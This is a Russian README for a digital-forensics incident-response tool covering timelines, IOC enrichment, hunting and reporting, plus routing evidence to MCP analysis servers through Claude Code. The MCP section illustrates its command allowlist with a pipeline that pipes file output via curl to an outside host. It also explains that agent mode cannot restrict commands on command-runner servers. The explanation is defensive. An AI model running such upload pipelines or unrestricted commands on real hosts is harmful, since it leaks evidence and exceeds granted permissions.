  • Память кейса — синтез записывает каждый запуск в долговечный, никогда не стираемый Investigation Log; блок известных неизвестных (пробелы таймлайна, непокрытые фазы ATT&CK, следующие техники похожих акторов) обосновывает синтез + предложения по охоте; опциональные гипотезы о кандидатах-акторах (DFIR_SYNTH_ADVERSARY_HINTS)
  • Структурированные, развёртываемые директивы сбора — рекомендации «собрать X» несут машиноисполняемую цель; развёртывание в один клик на известном хосте с автоопределением удовлетворения импорта
  • Панель пробелов в доказательствах — непокрытые фазы kill-chain отображаются как структурированные элементы с развёртываемой директивой сбора, в панели дашборда и разделе отчёта §4.6.3
  • План сбора — контрольный список доказательств по типу инцидента как панель дашборда; элементы отмечаются автоматически по мере поступления соответствующих доказательств
  • Реконструкция сессии / истории атакующего — таймлайн, пересобранный в главы сессий по хостам, с ИИ-резюме и разделом отчёта
  • Обнаружение расхождения часов и выравнивание таймлайна — помечает дрейф часов хоста свыше 60 с; переключатель «Выровнять таймлайны» исправляет это везде
  • Панель соответствия плейбуку — происходили ли техники кейса в порядке, описанном опубликованным плейбуком (Conti, LockBit, BlackCat, Akira, Scattered Spider, Black Basta, BlackSuit, Play, Egg-Cellent Resume); отсутствующие шаги питают пробелы в доказательствах. Соответствует плейбуку, не актору
  • Предупреждения об импорте с нулевой отдачей — помечает большой файл, прошедший ИИ-триаж, но не породивший ни одного события, в баннере импорта и панели пробелов в доказательствах
  • Второй взгляд — запускаемый аналитиком проход разрешает открытые вопросы против супер-таймлайна, показывает предпросмотр того, что будет продвинуто, затем повторно выполняет выводы
  • Немедленный каскад ложных срабатываний — пометка находки/IOC/события как FP синхронно переоценивает зависимые вопросы, следующие шаги и гипотезы
  • Обнаружение кроличьих нор — находки, оторванные от основного графа доказательств, понижаются и помечаются значком «возможная кроличья нора»
  • Базовая распространённость по кейсу + распространение FP-паттернов — выбор событий со смещением к редкости, плюс массовое отклонение в один клик для событий, соответствующих уже отклонённому FP-паттерну
  • Учиться на отклонённых находках — повторяющиеся FP-паттерны снижают (не обнуляют) уверенность в похожей новой активности
  • Теггер событий на основе содержимого (в стиле Timesketch tags.yaml) — движок правил тегирует события, повышает серьёзность и объединяет техники MITRE
  • Плейбук реагирования — отслеживаемый контрольный список (статус/приоритет/исполнитель/срок/пользовательские задачи); опциональные IR-шаблоны разворачивают находки в Contain→Investigate→Eradicate→Recover
  • Теги триажа и комментарии — помечайте сущности + прикрепляйте заметки; живая синхронизация через WebSocket; сохраняются после синтеза
  • Журнал активности — хронологическая, фильтруемая запись каждого значимого для безопасности действия, совершённого в кейсе (импорт, пометка/снятие пометки ложного срабатывания, запуски ИИ, переключатели обогащения/анонимизации, изменения настроек, правки плейбука, комментарии/теги, запуски охоты, экспорт)
  • Массовые действия — множественный выбор событий/IOC/находок: звезда/тег/пометка ложного срабатывания/обогащение/копирование
  • Белый список IOC (Настройки) — шаблоны CIDR/точное совпадение/regex автоматически помечают соответствующие IOC как ложные срабатывания; глобально; опционально
  • Список исключений IOC по кейсу — навсегда удаляйте совпадения по домену/имени хоста (или любому типу IOC) из кейса через правила точного совпадения/суффикса/regex в строке заголовка панели IOC; исключённые значения немедленно удаляются и никогда не импортируются повторно и не обогащаются
  • Известные хорошие хеши NSRL (Настройки) — плоский набор хешей или прямой запрос к базе SQLite (~160 ГБ); автоматически помечает соответствующие события/IOC как ложные срабатывания
  • Деобфускация полезной нагрузки — автоматически декодирует base64 PowerShell (-enc, [Convert]::FromBase64String); извлекает скрытые IOC; показывает блоки [Decoded]
  • Интеграция с CISA KEV (Настройки) — сверка CVE с каталогом CISA; сильный сигнал первоначального доступа
  • Составной показатель риска IOC — взвешенный уровень critical/high/medium/low/benign для каждого индикатора, отображается как значок, линза фильтра и столбец отчёта
  • Подтверждение IOC — значок ⊕ N показывает, сколько инструментов наблюдали каждый индикатор
  • Происхождение IOC — каждый IOC классифицируется как связанный с обнаружением (виден в событии уровня Low+) или только телеметрия (только Info), отдельно от вердикта threat-intel; значок для каждого IOC + фильтр All/Detection-linked/Telemetry-only
  • Цепочка происхождения IOC — панель 🔗 для каждого IOC: событие извлечения, запросы обогащения и ссылающиеся находки, с экспортом JSON; точные исходные строки для основных импортёров
  • Фильтр только помеченных IOC — скрыть всё, кроме индикаторов, подтверждённых threat-intel
  • Фильтр по типу IOC — фасетный выпадающий список (ip/domain/url/hash/file/process/other) со счётчиками по типам; сочетается с фильтрами «только помеченные» + поиск
  • Средства снижения шума в списке IOC — три компонуемых фильтра только для отображения, включены по умолчанию: скрыть IOC с ложными срабатываниями/без intel, скрыть файлы системных путей ОС и представление «🎯 Только сигнал» с сужением до помеченных/подтверждённых/обогащённых
  • Постраничная навигация в списке IOC — страницы на стороне клиента, как в таймлайнах, по умолчанию 100/страница
  • Фильтр исключения — управление в виде списка чипов (рядом с поиском на панели инструментов) скрывает события таймлайна / IOC / находки, соответствующие любому из нескольких исключающих терминов; для каждого браузера
  • Генератор пивотов для охоты — в один клик выдаёт запросы Velociraptor VQL, KQL, ES|QL, SPL, Sigma, YARA, Suricata
  • Охоты Sigma → VQL — вставьте правило Sigma, скомпилируйте его детерминированно (один фиксированный шаблон на категорию logsource, каждая неподдерживаемая строка отклоняется по имени), запустите как записанную охоту по парку; правила process_creation также ищут по истории Sysmon / 4688
  • Переводчик запросов — простой английский → исполняемые запросы (NL: «PowerShell downloading then executing») по всем включённым платформам; развёртывание VQL-охот в один клик
  • Внутренний верстак охоты — типизированные запросы по полям с булевой логикой, диапазонами, regex, группировкой, сохранёнными охотами и пивотами по сущностям поверх форензик- или супер-таймлайна; сырые попадания не попадают в ИИ до продвижения
  • Триаж-пакеты Velociraptor — просматривайте артефакты, сохраняйте пакеты (встроенные включают Hayabusa Full), запускайте их как охоты и автоматически собирайте + импортируйте результаты
  • Предложенные ИИ охоты по парку — ИИ предлагает проактивные охоты-обходы парка, обоснованные графом причинных доказательств (цепочки порождения, происхождение файлов, боковое перемещение), чтобы охоты нацеливались на связь, а не только на конечный индикатор
  • Предложенные ИИ охоты по плейбуку — ИИ предлагает охоты для каждой задачи, связанной с конечной точкой (сбор с одной конечной точки или охота по парку)
  • Петля обратной связи охоты — записывает результат каждой развёрнутой охоты (новые доказательства + счётчики) по кейсу; предложения пропускают уже выполненный запрос и делают пивот на то, что сработало, с Профилем охоты hunted/hit/missed
  • Приём push через webhook (опционально, токен) — внешние инструменты отправляют алерты через POST /cases/:id/push (webhook SIEM, монитор Velociraptor, скрипты)
  • Живой мониторинг Velociraptor (опционально) — потоковая передача артефактов CLIENT_EVENT (например, ProcessCreation) по мере срабатывания событий; автосбор по интервалу; автомониторинг в один клик для всех включённых артефактов
  • Импорт внешней охоты/потока — вставьте id охоты Velociraptor, flow или URL GUI (или URL Uploaded Files для отчётов THOR/Hayabusa); хост определяется автоматически, а артефакт, прочитанный не полностью, называется, но никогда не сообщается как «нет строк»
  • Охват + пометка ложных срабатываний — задайте временное окно; помечайте находки/IOC/события как ложные срабатывания со структурированной причиной (известный хороший инструмент/авторизованный тест/сбой обнаружения/дубликат/другое) + атрибуцией аналитика (обратимо); все представления перестраиваются
  • Предложения похожих ложных срабатываний — пометьте один элемент как ложное срабатывание и получите ранжированных кандидатов «похожих элементов» (общие MITRE/процесс/хеш/актив/IOC), детерминированно или с помощью ИИ, чтобы отклонить тот же паттерн за один проход; пометки одного IOC также можно продвинуть в один клик в глобальный белый список IOC
  • Супер-таймлайн — запись в стиле Timesketch каждого импортированного события, хранимая отдельно от форензик-таймлайна и никогда не читаемая ИИ; фильтруйте, помечайте, сохраняйте временные рамки и продвигайте строки в форензик-таймлайн
  • Форензик-таймлайн с порогом серьёзности — телеметрия Info направляется только в супер-таймлайн (форензик-таймлайн сохраняет сигнал уровня Low+), чтобы синтез не перегружался; настраивается через DFIR_FORENSIC_MIN_SEVERITY + переопределение по кейсу, продвижение обходит порог, а IOC всё равно извлекаются из каждого события
  • Свежесть — «последний синтез N назад» + diff (длительность/счётчики событий/IOC); «последний импорт N назад» + подсветка НОВЫХ строк; ⚠ предупреждение для кейсов >5 000 событий
  • Тепловая карта плотности событий таймлайна — полоса столбцов над форензик-таймлайном группирует весь отфильтрованный набор данных (каждую страницу, а не только текущую) по времени, окрашивая каждый столбец по худшей серьёзности в нём; щёлкните столбец, чтобы приблизить таймлайн к этому окну; сворачивается в тонкий спарклайн на мобильных
  • Постраничная навигация таймлайна — 100/250/500/все строки на страницу (выбирается пользователем); элементы управления prev/next
  • Фильтр источников таймлайна — фасетный выпадающий список (рядом с легендой серьёзности) для показа/скрытия событий по инструменту/источнику, который их создал; события из нескольких источников остаются видимыми, если не скрыты все источники
  • Фильтр происхождения таймлайна — на один уровень конкретнее фильтра источников: показывает/скрывает события по точному артефакту, который их создал (например, DetectRaptor.Windows.Detection.MFT), как в форензик-, так и в супер-таймлайне
  • Отображение строк таймлайна — Настройки → Общие переключают, какие подэлементы показывает каждая строка таймлайна (значки действий / пилюли тегов / значки / чип хоста / MITRE / связанные находки / ссылки на доказательства); метка времени + сообщение показываются всегда; для каждого браузера, применяется сразу
  • Навигация с клавиатуры в стиле Vim — j/k перемещает подсветку сфокусированной строки на форензик-таймлайне, f ставит звезду, i предзаполняет форму ручного IOC, p закрепляет цитируемую находку, n открывает комментарий, ? показывает шпаргалку; переключается в Настройки → Общие, по умолчанию включено
  • Запоминать серьёзность импорта — в запросе минимальной серьёзности импорта есть флажок не спрашивать снова, который сохраняет выбранный порог и пропускает запрос при будущих импортах; управляйте/очищайте его в Настройки → Общие → Серьёзность импорта; для каждого браузера
  • Профиль корреляции — окно Strict/Moderate/Aggressive/Custom по кейсу для слияния событий из разных источников; выпадающий список на панели инструментов + PUT /cases/:id/correlation-profile

Обогащение threat-intel (по умолчанию выключено — опционально по кейсу)

  • Источники — VirusTotal, Hunting.ch (MalwareBazaar/ThreatFox/URLhaus/YARAify), CrowdStrike Falcon TI, AbuseIPDB, MISP, YETI, OpenCTI, RockyRaccoon (распространённость процессов + аномальный родитель/потомок), CIRCL hashlookup (поиск известных файлов / известных хороших хешей без ключа — снижает ложные срабатывания)
  • Обнаружение похожих / тайпсквоттинг-доменов — офлайн-провайдер помечает домены, выдающие себя за распространённые бренды (T1566/T1583.001); включено по умолчанию
  • Инфраструктура IP — Reverse DNS (имена хостов PTR), WHOIS через RDAP (netblock/ASN/abuse-contact), GeoIP (страна/город/ASN/организация), Shodan host (размещённые домены/порты/сервисы/CVE); слой контекста «откуда / кому принадлежит / что размещено» — Reverse DNS/WHOIS/GeoIP работают без ключа, Shodan использует DFIR_SHODAN_KEY
  • Локально против внешнего — MISP/YETI/OpenCTI на своём сервере; сторонние SaaS опционально по кейсу; включение источника повторно проверяет все существующие IOC
  • Вердикты с датами и источниками — каждое попадание несёт даты, происхождение и создателя от провайдера; истёкшие и отозванные утверждения сохраняются и помечаются, а Intel Retirement Review перечисляет находки, чей intel устарел
  • Шлюз доступности — проверяйте работоспособность самостоятельно размещённых экземпляров; автоматическое возобновление при подключении

Подверженность клиента (отдельно от обогащения IOC)

  • Только активы организации-жертвы — HIBP, LeakCheck, DeHashed (утечки email), Shodan (открытые хосты/порты/CVE); опционально по провайдеру
  • Граница OPSEC — запрашиваются только домены, введённые аналитиком; домены противника/IOC никогда не отправляются; сырые пароли никогда не хранятся### Панель управления и отчёты
  • Кабина следователя — представление Now по умолчанию ранжирует следующие зацепки, пробелы и блокеры отчёта; Story so far показывает по одной карточке на каждый этап kill-chain и копируется как plain-text брифинг
  • Живая панель управления через WebSocket — сворачиваемые секции с перетаскиванием для изменения порядка, панель scope, кликабельные ссылки на доказательства, бейджи
  • Палитра команд (Ctrl+K / ⌘K) — нечёткий поиск по всем действиям панели управления из одного оверлея
  • Значок справки — кнопка ? рядом с шестерёнкой настроек открывает онлайн руководство пользователя в новой вкладке
  • Фоновые задачи — всплывающее окно на панели инструментов отслеживает импорт, синтез и обогащение, указывает версию модели, на которой выполнялась каждая AI-задача, а Cancel жёстко прерывает зависший запуск
  • Тёмная/светлая тема — переключатель или предпочтение ОС
  • Строки криминалистической временной шкалы — затронутый хост + кликабельные ссылки на находки; в отчёте есть столбец Host
  • Ручное добавление — запись пропущенных событий/IOC (помечаются тегом manual, сохраняются при повторном анализе)
  • Техники MITRE со ссылками на attack.mitre.org
  • Граф Asset ↔ IoC, Evidence Chain и граф входов — используют одно интерактивное представление Cytoscape (5 раскладок, живой фильтр, полноэкранный режим, экспорт в PNG), каждое со своими глифами узлов/стилями рёбер (переключатели host/account/service, цепочка процессов, логоны с цветовой кодировкой риска)
  • Timeline Swimlane — серьёзность/тактика × время; клик для деталей, Shift-выбор для массового действия, экспорт в PNG
  • Отчёты — Markdown + HTML + PDF (в один клик) + Word (.docx) + CSV (находки/IOC/временная шкала) + состояние JSON
  • Проверка безопасности доказательств перед экспортом — каждый человекочитаемый экспорт проверяется на соответствие собственным индикаторам и тексту доказательств дела; живой индикатор или неэкранированное доказательство всё равно выгружается, но с баннером в документе и предупреждением на панели управления
  • Связанные дела — панель со списком других расследований, которые делят индикатор с текущим, с ранжированием так, что помеченный хеш весит больше приватного адреса; отключено, если не задано DFIR_CROSS_CASE=on
  • Слой ATT&CK Navigator — техники окрашены по серьёзности; загружается в Navigator
  • Пакет STIX 2.1 — для OpenCTI, MISP, Anomali и т. д.
  • Блок-лист IOC — только TXT/CSV/STIX; фильтры по серьёзности/типу/вердикту
  • Автоматическое резервное копирование / ротация состояния — снимки всех файлов состояния по каждому делу перед синтезом и ежечасно; настраиваемое хранение; Settings → Diagnostics → восстановление в один клик
  • Зашифрованный архив дела — защищённый паролем экспорт .dfircase ВСЕГО дела (включая доказательства и скриншоты, шифрование AES-256-GCM); перенос между машинами + восстановление как новое дело
  • Отредактированный пакет дела — ZIP с токенизированными IP/хостами/пользователями, размытыми PII на скриншотах, индикаторы противника сохранены
  • AI executive summary — для руководства (без ATT&CK id/хешей/названий инструментов)
  • Narrative Timeline — прозаическое повествование для нетехнических заинтересованных сторон
  • Отправка в DFIR-IRIS — идемпотентная; сопоставляет активы/IOC/временную шкалу/задачи; диалог отправки показывает (и позволяет переопределить) имя целевого дела IRIS, запоминается, чтобы последующие отправки попадали в то же дело. Settings → DFIR-IRIS содержит Test/reconnect (без перезапуска)
  • Импорт из DFIR-IRIS — подтягивает активы/IOC/временную шкалу существующего дела (детерминированно, без AI)
  • Отправка в Jira / ServiceNow — в один клик или массово прямо из панели находки; повторная отправка обновляет существующий тикет
  • Compliance Impact — сопоставляет подтверждённые находки с обязательствами NIST/PCI/HIPAA/GDPR/SEC/ISO, с обратным отсчётом до уведомления об утечке
  • Отправка в Timesketch — find-or-create sketch; отправка или скачивание либо Forensic Timeline, либо полной Super Timeline (включая сырые артефакты host-triage), каждая в свою временную шкалу внутри одного sketch, чтобы они не перезаписывали друг друга; экспорт JSONL
  • Экспорт в Notion — управляемый блок страницы; ваши заметки вне него не затрагиваются
  • Экспорт в ClickUp — Response Playbook как задачи; повторная отправка обновляет на месте
  • Уведомления — Slack/MS Teams/Mattermost/Discord/Telegram/SMTP для находок/плейбука/этапов; порог и переключатели для каждого канала
  • Экспорт журнала аудита в SIEM — пересылает журнал активности каждого дела (кто что сделал, когда и сработало ли это) в Splunk HEC, Elasticsearch или syslog RFC 5424 для доказательств SOC 2 / ISO 27001; включается отдельно для каждого назначения, запоминает, до какого места дошёл по каждому делу, и после сбоя пересылает заново, а не пропускает
  • Бот слэш-команд для war-room — двусторонний Slack/Teams/Telegram: /dfir findings, /dfir iocs malicious, /dfir ask … из канала инцидента; привяжите канал к делу, задайте allowlist тех, кто может тратить бюджет AI (#235)
  • Шаблоны отчётов — глобальные брендированные макеты (акцент, колонтитул, порядок разделов); выбираются для каждого дела. Раздел, отключённый здесь, пропускает свою AI-генерацию (executive summary, narrative) для экономии токенов (#168)
  • Мобильный компаньон — PWA только для чтения (/mobile) для находок/временной шкалы/IOC с вердиктами; офлайн app-shell
  • Режим презентации / воспроизведения временной шкалы — слайд-дек только для чтения с пошаговым проходом (/cases/:id/present) для брифингов при передаче дел и executive walkthrough: крупные карточки, навигация с клавиатуры, автопродвижение, фильтр по серьёзности, брендирование из шаблона отчёта; экспорт самодостаточного офлайн HTML-дека (#177)
  • 🌍 Географическая карта IP — наносит геолоцированные IP-индикаторы на интерактивную мировую карту Leaflet (цвета по серьёзности, потоки жертва→атакующий, статистика по странам, фильтрация, экспорт CSV); координаты из опционального GeoIP-обогащения, офлайн-дружественно (тайлы можно переопределить)

Эксплуатация

  • Индексированное хранилище дел на SQLite — база данных с поддержкой воркеров и постраничной выборкой курсором заменяет плоское JSON-состояние дела
  • Представление Essential / All в настройках — открывается на курируемом представлении из 43 элементов управления вместо всех ~257 полей; запоминается для каждого браузера
  • Health / Diagnostics — Settings → Diagnostics — одностраничное представление для оператора: использование диска, число дел, очередь захвата/синтеза, отредактированная конфигурация AI + живой Test AI connectivity, попытки импортёров (24ч/7д) + недавние сбои; вычисление размеров дел по запросу; копирование в буфер обмена без ключей
  • Панель статистики дела — итоги по каждому делу, разбивка по источникам и скорость импорта в Diagnostics
  • Отслеживание стоимости AI по каждому делу — Settings → Diagnostics показывает карточку "AI cost — this case": вызовы, стоимость в долларах и количество токенов по Vision/Synthesis/Other и по модели, считанные из реальных данных провайдера о стоимости/токенах на вызов (никогда не выдуманные $0.00, когда провайдер их не сообщает)
  • Настраиваемый лимит приёма событий (DFIR_MAX_EVENTS) — переопределяет стандартный защитный лимит в 2000 событий на импорт
  • Стенд регрессии / оценки промптов — CI-безопасное и реальное тестирование эталонных выходов провайдера для качества AI-извлечения/синтеза
  • Логирование — консоль + глобальный журнал сессии + журнал аудита по каждому делу; живой переключатель DFIR_LOG_LEVEL; debug трассирует AI/захваты/OCR/анонимизацию
  • Расширение для браузера — Chrome/Comet из Chrome Web Store, или Firefox 140+ из любого релиза; требуется локальный сервер
  • Портативный Windows EXE — распакуйте + двойной клик, Node не требуется
  • Пакет Chocolatey — choco install dfir-companion; скачивает + проверяет портативную сборку + включает расширение захвата, данные в %LOCALAPPDATA%
  • Docker / Compose — docker compose up; доказательства на томе хоста, без встроенного AI-бэкенда
  • Linux AppImage — однофайловый исполняемый файл для любого дистрибутива с glibc, Node не требуется
  • Уведомление об обновлении — опциональная (по умолчанию выключена) проверка нового релиза на GitHub; баннер на панели управления, никогда не скачивает автоматически
  • Настраиваемые промпты — переопределение промптов через переменную окружения или файл; правки применяются без перезапуска
  • Демо-дело — загрузка в один клик или npm run seed-demo для заполнения сценария GlobalTech
  • CLI-скрипты — reanalyze, synthesize, coverage, verify:ai, clean-timeline

Использование ваших MCP-серверов

Companion может направлять доказательства дела на MCP-серверы, которые вы запускаете — рабочую станцию SIFT, машину REMnux, службу базовой линии Windows triage — чтобы доказательства анализировались на машине, где есть нужный инструментарий.

Он обращается к ним только через Claude Code. Companion не является MCP-клиентом: он не хранит URL сервера, ни bearer-токен, и не запускает собственный npx или uvx. Claude Code уже настроен с вашими серверами и уже хранит их учётные данные, поэтому разговор ведёт он, а Companion просит его об этом.

Предварительные требования

Вся эта функция работает только если:

  1. Claude Code установлен и аутентифицирован на машине, где запущен Companion — не на вашем ноутбуке, а на хосте Companion. Задайте DFIR_AI_CLAUDE_CODE_BIN, если claude отсутствует в его PATH.
  2. Ваши MCP-серверы настроены в Claude Code (claude mcp add … или его файл конфигурации), и claude mcp list показывает их подключёнными.

Запасного варианта нет. Если вы запускаете Companion в Docker, из AppImage или из портативной сборки для Windows без Claude Code рядом, маршруты MCP сообщат вам об этом, и ничего больше.

Два следствия, которые стоит знать, прежде чем полагаться на это. Каждый вызов MCP проходит через модель, поэтому он тратит токены и не является побитово детерминированным вызовом, каким был бы прямой JSON-RPC-запрос — промпт делает его транспортом (один инструмент, точные аргументы, дословный вывод), но модель всё равно находится в середине. И поскольку серверы берутся из собственной конфигурации Claude Code, а не из сгенерированной, Claude Code запускает каждый настроенный сервер при каждом запуске, а не только тот, который используется; allowlist ограничивает то, что может быть вызвано, а не то, что запускается.

В Settings → Tools нажмите Refresh from Claude Code, чтобы загрузить список его серверов, затем разрешите один и укажите, что ему можно делать. Вводить нужно только политику — имена серверов берутся из самого Claude Code, поэтому опечатка не оставит вас с записью, которая молча ничему не соответствует.

Запуск инструмента против доказательств дела

POST /cases/<id>/mcp/<serverId>/run с { tool, args, targetPath }. Поместите <target> туда, где инструмент ожидает путь к доказательствам — он заменяется на путь на хосте анализа после того, как доставка выполнена, поэтому аргумент, который вы пишете, — это аргумент, который получает инструмент:```json { "tool": "run_command", "args": { "command": ["vol.py", "-f", "", "pslist"] }, "targetPath": "imports/memory.raw" }

root@kitploit:~
`targetPath` разрешается внутри каталога дела; всё, что за его пределами, отклоняется. Для образца, который хранится в браузере и путь к которому серверу недоступен, `POST /cases/<id>/mcp/<serverId>/run-upload` принимает вместо этого `{ filename, dataBase64 }` и сначала размещает байты внутри дела.

Оба возвращают **202 с идентификатором задания**, а не блокируются. Настоящий запуск Volatility переживёт любой разумный тайм-аут запроса, поэтому запуск выполняется как фоновая задача с прогрессом, кнопкой отмены и широковещательной рассылкой `job_changed` по WebSocket. Результат попадает в дело через ту же цепочку импорта, что и у любого другого инструмента — события временной шкалы, находки и IOC, с контрольной точкой отмены — так что чтение результата ничем не отличается от обычного импорта. Структурированный вывод направляется соответствующему импортёру; неструктурированный текст попадает в общий путь журнала, а не отклоняется.

Инструмент, сообщающий о собственном сбое, приводит к сбою задания, а не к его приёму: сообщение об ошибке — это диагностика, а не артефакт, и его регистрация во временной шкале создала бы впечатление, что это доказательство.

### Предварительный просмотр перед импортом

**Включён по умолчанию**, и его стоит оставить включённым. MCP-сервер вернёт справочные данные так же охотно, как доказательства — спросите SIFT, какие у него есть инструменты, и вы получите JSON-инвентарь, структурно идентичный таблице Volatility: массив объектов без временных меток. Ни один детектор не отличит их друг от друга, поэтому импортёры делают то, для чего они созданы, и извлекают каждый путь в нём как индикатор файла. Один список возможностей — это несколько десятков IOC, которые делу были совсем не нужны.

При включённом предварительном просмотре запуск получает вывод и останавливается. Вы видите байты, размер и тип, как который он *мог бы* импортировать, и выбираете. Одобрение принимает **ровно те байты, которые уже получены** — инструмент никогда не перезапускается, поэтому двадцатиминутный запуск Volatility стоит двадцать минут один раз, а инструмент с побочными эффектами выполняет их один раз. Отклонение выбрасывает вывод, и дело остаётся нетронутым.

Отправьте `preview: true` при запуске, чтобы использовать это из API, затем `GET`, `POST …/import` или `DELETE` на `/cases/<id>/mcp/preview/<jobId>`.

Ничто здесь не заменяет суждение о том, что запускать, и импорт без предварительного просмотра не опасен — каждый импорт MCP создаёт контрольную точку отмены, поэтому запуск, оказавшийся шумом, откатывается одним щелчком.

### Что даёт использование сервера

**По умолчанию — всё, что предлагает сервер.** Это сделано намеренно: Claude Code уже позволяет вызывать любой инструмент на любом настроенном вами сервере, поэтому требование заново перечислять их здесь было бы строже, чем ваше собственное повседневное использование — и стало бы вторым местом для описания того же сервера.

Стоит знать, что включает «всё». Некоторые серверы предоставляют мелкозернистые инструменты — `check_service`, `check_autorun`, по одному на вопрос. Другие предоставляют единственный **исполнитель команд**, который выполняет всё, что вы ему передадите: `run_command` в SIFT заявляет, что может выполнять «большинство установленных в SIFT инструментов … включая curl, wget, dd, fdisk и python3», а `run_tool` в REMnux принимает целый конвейер оболочки. Использование такого сервера из Companion означает выполнение команд на этом хосте — разумно в изолированной криминалистической сети, где аналитические машины ваши и доказательства уже в вашей локальной сети, и неразумно где-либо ещё.

Два **необязательных** списка сужают это, когда вы этого хотите:

| Настройка | Применяется к | Пустое значение означает |
|---|---|---|
| **Ограничить инструментами** | каждому вызову | все инструменты, предлагаемые сервером |
| **Ограничить командами** | вызовам, несущим аргумент команды | без ограничения команд |

Команды сопоставляются **по базовому имени**, поэтому `grep` и `/usr/bin/grep` — одно правило. Проверяется каждый этап конвейера, а не только первый — `oledump.py s.doc | curl -T - http://elsewhere` требует разрешения и для `oledump.py`, и для `curl`. Команда, использующая подстановку оболочки (`$(…)`, обратные кавычки, `${…}`), отклоняется сразу, потому что заранее неизвестно, что она выполнит.

**Чего список команд не делает.** Он ограничивает *какие* бинарники запускаются, но никогда — что может сделать разрешённый: разрешение `dd` разрешает запись по любому пути, доступному на запись пользователю этого сервера; разрешение `python3` разрешает произвольный код. Он также опирается на известные имена параметров (`command`, `cmd`, `argv`), поэтому сервер, называющий свой параметр команды как-то необычно, не будет пойман. Он существует, чтобы помочь оператору, желающему сузить собственный доступ, а не чтобы сдерживать сервер, который не следовало настраивать изначально.

### Доставка доказательств на сервер

В MCP нет примитива передачи файлов, и образ памяти размером в несколько гигабайт не может путешествовать внутри аргумента инструмента, поэтому файл должен уже находиться там, где сервер может его открыть. Эта часть остаётся задачей Companion — Claude Code не может переместить образ на аналитическую машину. Каждый сервер выбирает один из двух маршрутов:

**`remote-path`** (по умолчанию) — доказательства уже видны аналитическому хосту через общий монтированный ресурс. Задайте локальный префикс и удалённый префикс, и путь переписывается (`/srv/cases/…` → `/mnt/dfir/…`); оставьте оба пустыми, когда монтирование находится по одному и тому же пути с обеих сторон. Ничего не копируется.

**`scp`** — Companion отправляет файл в промежуточный каталог, инструмент запускается, а размещённая копия удаляется afterwards. Настройте `host`, `remoteDir`, при необходимости `user`, `port` и `identityFile`.

Четыре вещи, которые нужно знать перед выбором `scp`:

- **Ключ хоста должен быть уже доверенным.** `BatchMode` включён, а `StrictHostKeyChecking` *не* отключён, поэтому неизвестный хост завершается с `Host key verification failed`, а не доверяет тому, кто ответил по адресу. Сначала подключитесь вручную один раз (или добавьте ключ в `known_hosts`). Это сделано намеренно: молчаливое принятие непроверенного ключа передало бы доказательства любому, кто владеет этим IP.
- **Аутентификация только по ключу.** `BatchMode` означает, что ssh никогда не запрашивает ввод, поэтому хост только с паролем работать не может. Укажите `identityFile` на ключ без парольной фразы или загрузите его в агент, доступный процессу сервера.
- **Нет прогресса и нет возобновления.** Копирование 16 ГБ непрозрачно, пока не завершится или не потерпит неудачу, а разорванное соединение означает начало заново. Передача отменяема и имеет собственный часовой тайм-аут, отдельный от тайм-аута вызова инструмента.
- **Хост, пользователь и удалённый каталог ограничены консервативным набором символов** (буквы, цифры, точка, дефис, подчёркивание и `/` для каталога). `user@host` попадает в ssh без кавычек, поэтому всё, имеющее значение для оболочки, отклоняется при сохранении, а не во время передачи. Имя размещаемого файла выводится из имени доказательства и очищается таким же образом.

Любой маршрут записывает **событие `transferred` о цепочке сохранности** с указанием места назначения, поэтому файл дела показывает, что доказательства покинули эту машину, когда и куда. Неудачная передача не записывает ничего — цепочка никогда не заявляет о копии, которой не было.

### MCP-расследования на простом английском

Один вызов инструмента не может проследить нить. «Исследуй этот дамп» хочет цикл — запустить pslist, заметить что-то, переключиться на malfind — и именно это делает агентный режим: он позволяет Claude Code работать против разрешённого вами сервера, а затем объединяет то, о чём он сообщает. Это основной рабочий процесс MCP в панели управления: напишите цель на простом английском, выберите или укажите путь к доказательствам, выберите приложение MCP и нажмите **Investigate**. Имена инструментов и аргументы JSON доступны только в расширенном разделе ручных вызовов.

`POST /cases/<id>/mcp/agent` с `{ prompt, servers?, targetPath?, preview? }`, или `POST /cases/<id>/mcp/agent-upload` с `{ prompt, servers, filename, dataBase64, preview? }`.

**Прочтите это перед разрешением сервера.** При ручном запуске Companion управляет каждым вызовом, поэтому каждый вызов проходит списки разрешённых инструментов *и* команд. В агентном режиме это не так: `claude` общается с серверами напрямую. Сохраняется только список разрешённых инструментов, как `--allowed-tools`. **Список разрешённых команд невозможно обеспечить.** Поэтому разрешение агенту использовать инструмент-исполнитель команд даёт автономному циклу возможность выбирать собственные командные строки на этом хосте.

Разрешение и включение MCP-сервера в Companion — это граница разрешений для этого режима. Ограничение инструментов сервера по-прежнему применяется. Ограничение команд не может сдерживать автономный цикл; оно применяется только к расширенным ручным вызовам.

Что режим всё же гарантирует: явное ограничение инструментов передаётся инструмент за инструментом; пустое ограничение намеренно разрешает каждый инструмент, который предоставляет этот сервер. Настройки проекта/локальные, файлы `CLAUDE.md` и хуки исключены, а запуск ограничен по числу ходов. Пользовательские настройки Claude Code остаются включёнными, потому что именно там находятся его подключения к MCP-серверам.

Ответ агента проходит проверку по схеме и очищается от заявлений о происхождении перед объединением — всё, что он видел, пришло из вывода инструментов, который не является доверенным. Его никогда не просят составить сводку по делу, поэтому запуск добавляет находки, IOC и события, не переписывая ваши выводы. Предварительный просмотр работает и здесь, и значит больше: автономный цикл сам решает, о чём сообщать.

Расследование ограничено 40 ходами. Если Claude Code исчерпывает этот бюджет, используя инструменты, Companion один раз возобновляет ту же сессию со всеми отключёнными инструментами и просит его сообщить только на основе уже собранных доказательств. Это сохраняет границу безопасности, не теряя завершённое расследование лишь потому, что его финальный JSON был бы следующим ходом.

### Учётные данные

Здесь нечего настраивать. Bearer-токены, заголовки и транспорты — всё живёт в собственной конфигурации MCP Claude Code, которая является единственным местом, где они хранятся. Companion хранит *имя* сервера, список разрешённых и блок доставки — ничего, что позволило бы ему подключиться к чему-либо самостоятельно.

Одна оговорка, если вы пойдёте искать: `claude mcp list` выводит полную командную строку каждого сервера, которая для записи `mcp-remote` включает bearer-токен в открытом виде. Companion извлекает из этого вывода только имя и вердикт о работоспособности и никогда не хранит, не регистрирует и не отображает остальное — но будьте осторожны, где вы сами запускаете эту команду.

## Структура репозитория```
52.43-DFIR-Companion/
├── companion/         Node/TS localhost server (the core). See companion/README.md.
├── extension/         MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│   └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│   └── superpowers/plans/   The original 4 implementation plans.
├── Dockerfile         Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
